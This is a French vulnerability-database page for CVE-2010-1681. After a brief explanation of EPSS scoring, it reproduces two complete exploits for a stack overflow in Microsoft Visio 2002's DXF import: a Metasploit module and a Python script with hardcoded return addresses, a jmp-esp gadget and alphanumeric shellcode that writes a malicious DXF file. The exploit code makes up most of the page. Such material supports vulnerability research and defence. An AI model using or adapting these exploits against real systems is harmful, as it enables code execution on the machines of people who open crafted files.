CVE-2010-1681 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

## # $Id: visio_dxf_bof.rb 13034 2011-06-26 16:09:53Z sinn3r $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::FILEFORMAT def initialize(info = {}) super(update_info(info, 'Name' => 'Microsoft Office Visio VISIODWG.DLL DXF File Handling Vulnerability', 'Description' => %q{ This module exploits a stack based overflow vulnerability in the handling of the DXF files by Microsoft Visio 2002. Revisions prior to the release of the MS bulletin MS10-028 are vulnerable. The overflow occurs when the application is used to import a specially crafted DXF file, while parsing the HEADER section of the DXF file. To trigger the vulnerability an attacker must convince someone to insert a specially crafted DXF file to a new document, go to 'Insert' -> 'CAD Drawing' }, 'License' => MSF_LICENSE, 'Author' => [ 'CORE Security', # original discovery 'Shahin Ramezany <shahin[at]abysssec.com>', # MOAUB #8 exploit and binary analysis 'juan vazquez', # metasploit module ], 'Version' => '$Revision: 13034 $', 'References' => [ [ 'CVE','2010-1681' ], [ 'OSVDB', '64446' ], [ 'BID', '39836' ], [ 'URL', 'http://www.coresecurity.com/content/ms-visio-dxf-buffer-overflow' ], [ 'URL', 'http://www.exploit-db.com/moaub-8-microsoft-office-visio-dxf-file-stack-overflow/' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', 'DisablePayloadHandler' => 'true', }, 'Payload' => { 'Space' => 2000, 'BadChars' => Rex::Text.charset_exclude(Rex::Text::AlphaNumeric), 'DisableNops' => true, # no need 'EncoderOptions' => { 'BufferRegister' => 'ECX' } }, 'Platform' => 'win', 'Targets' => [ # Microsoft Office Visio 2002 # VISIO.EXE v10.0.525.4 # VISIODWG.DLL v10.0.525.4 # ECXAdjust: # 0x8 => ESP points to the prepended shellcode # 0x1A => Padding # 0x2 => len(push esp, pop ecx) # 0x3 => len(sub) # 0x6 => len(add) [ 'Visio 2002 English on Windows XP SP3 Spanish', { 'Ret' => 0x6173345c, # push esp, ret from VISIODWG.DLL 'Offset' => 0x50, # EIP 'ReadAddress' => 0x617a4748, # points to VISIODWG.DLL data segment 'ECXAdjust' => 0x2D } ], [ 'Visio 2002 English on Windows XP SP3 English', { 'Ret' => 0x60455F6B, # push esp, ret from VISLIB.DLL 'Offset' => 0x50, # EIP 'ReadAddress' => 0x66852040, # points to VISIODWG.DLL data segment 'ECXAdjust' => 0x2D, } ], ], 'DisclosureDate' => 'May 04 2010')) register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'msf.dxf']), ], self.class) end def exploit content = "0\n" content << "SECTION\n" content << "2\n" content << "HEADER\n" content << "9\n" content << "$ACADMAINTVER" content << rand_text_alpha(target['Offset'] - "ACADMAINTVER".length) content << [target.ret].pack('V') # new ret content << "\xeb\x20\x90\x90" # short jmp to payload (plus two padding nops) content << [target['ReadAddress']].pack('V') # readable address to avoid exceptions content << rand_text_alpha(0x1A) # jumped by the short jump # Get in ECX a pointer to the shellcode start content << "\x54" # push esp content << "\x59" # pop ecx # ecx adjustment content << Rex::Arch::X86.sub(-(target['ECXAdjust']),Rex::Arch::X86::ECX, "\x00\x0d\x0a", false, true) # Stack adjustment content << "\x81\xc4\x48\xf4\xff\xff" # add esp, -3000 content << payload.encoded content << "\n" content << "0\n" content << "ENDSEC\n" content << "0\n" content << "EOF\n" print_status("Creating #{datastore['FILENAME']} ...") file_create(content) end end

''' __ __ ____ _ _ ____ | \/ |/ __ \ /\ | | | | _ \ | \ / | | | | / \ | | | | |_) | | |\/| | | | |/ /\ \| | | | _ < Day 8 (Binary Analysis) | | | | |__| / ____ \ |__| | |_) | |_| |_|\____/_/ \_\____/|____/ http://www.exploit-db.com/moaub-8-microsoft-office-visio-dxf-file-stack-overflow/ https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/14944.zip (moaub-8-exploit.zip) ''' ''' Title : Microsoft Office Visio DXF File Stack based Overflow Version : Microsoft Office Visio 2002(xp) Analysis : http://www.abysssec.com Vendor : http://www.microsoft.com Impact : Ciritial Contact : shahin [at] abysssec.com , info [at] abysssec.com Twitter : @abysssec CVE : CVE-2010-1681 ''' # Tested on Microsoft Office Visio 2002 (xp) in Windows XP SP3 import sys def main(): try: fdR = open('src.dxf', 'rb+') strTotal = fdR.read() str1 = strTotal[:100] str2 = strTotal[1020:1124] str3 = strTotal[1128:1169] str4 = strTotal[1173:] eip = "\x66\x28\xC9\x61" # leave popad ret jmp = "\x64\x64\xdb\x30" # jmp esp # Modified Alphanumbric calc.exe shellcode shellcode = '\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xeb\x00\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49\x49\x49\x48\x49\x49\x49\x49\x49\x49\x49\x49\x49\x51\x5a\x6a\x44\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x54\x42\x32\x41\x42\x32\x42\x41\x30\x42\x41\x58\x41\x50\x38\x41\x42\x75\x4a\x49\x69\x6c\x4b\x58\x51\x54\x65\x50\x57\x70\x45\x50\x4e\x6b\x67\x35\x35\x6c\x4e\x6b\x73\x4c\x55\x55\x71\x68\x67\x71\x68\x6f\x6c\x4b\x52\x6f\x46\x78\x4e\x6b\x51\x4f\x71\x30\x74\x41\x7a\x4b\x30\x49\x6c\x4b\x54\x74\x6e\x6b\x76\x61\x4a\x4e\x35\x61\x4b\x70\x6a\x39\x4c\x6c\x4d\x54\x6b\x70\x30\x74\x54\x47\x6a\x61\x6a\x6a\x64\x4d\x63\x31\x79\x52\x4a\x4b\x69\x64\x67\x4b\x32\x74\x65\x74\x66\x64\x31\x65\x4a\x45\x6c\x4b\x71\x4f\x31\x34\x57\x71\x48\x6b\x52\x46\x6e\x6b\x64\x4c\x52\x6b\x4e\x6b\x31\x4f\x77\x6c\x54\x41\x68\x6b\x4c\x4b\x57\x6c\x6c\x4b\x57\x71\x4a\x4b\x4e\x69\x41\x4c\x65\x74\x67\x74\x4a\x63\x75\x61\x4f\x30\x51\x74\x6c\x4b\x61\x50\x50\x30\x4f\x75\x4f\x30\x32\x58\x64\x4c\x4c\x4b\x71\x50\x54\x4c\x4c\x4b\x70\x70\x57\x6c\x4e\x4d\x6e\x6b\x73\x58\x35\x58\x4a\x4b\x36\x69\x6c\x4b\x4d\x50\x4c\x70\x67\x70\x75\x50\x37\x70\x4c\x4b\x45\x38\x35\x6c\x41\x4f\x57\x41\x68\x76\x53\x50\x30\x56\x6e\x69\x6b\x48\x6f\x73\x6f\x30\x63\x4b\x62\x70\x30\x68\x58\x70\x6f\x7a\x57\x74\x51\x4f\x45\x38\x6f\x68\x59\x6e\x4f\x7a\x66\x6e\x62\x77\x69\x6f\x38\x67\x73\x53\x52\x41\x30\x6c\x71\x73\x64\x6e\x35\x35\x30\x78\x70\x65\x45\x50\x44' if len(shellcode) > 920: print "[*] Error : Shellcode is too long !" return if len(shellcode) <= 920: dif = 920 - len(shellcode) while dif > 0 : shellcode += '\x90' dif = dif - 1 fdW= open('exploit.dxf', 'wb+') fdW.write(str1) fdW.write(shellcode) fdW.write(str2) fdW.write(jmp) fdW.write(str3) fdW.write(eip) fdW.write(str4) fdW.close() fdR.close() print '[-] DXF file generated' except IOError: print '[*] Error : An IO error has occurred' print '[-] Exiting ...' sys.exit(-1) if __name__ == '__main__': main()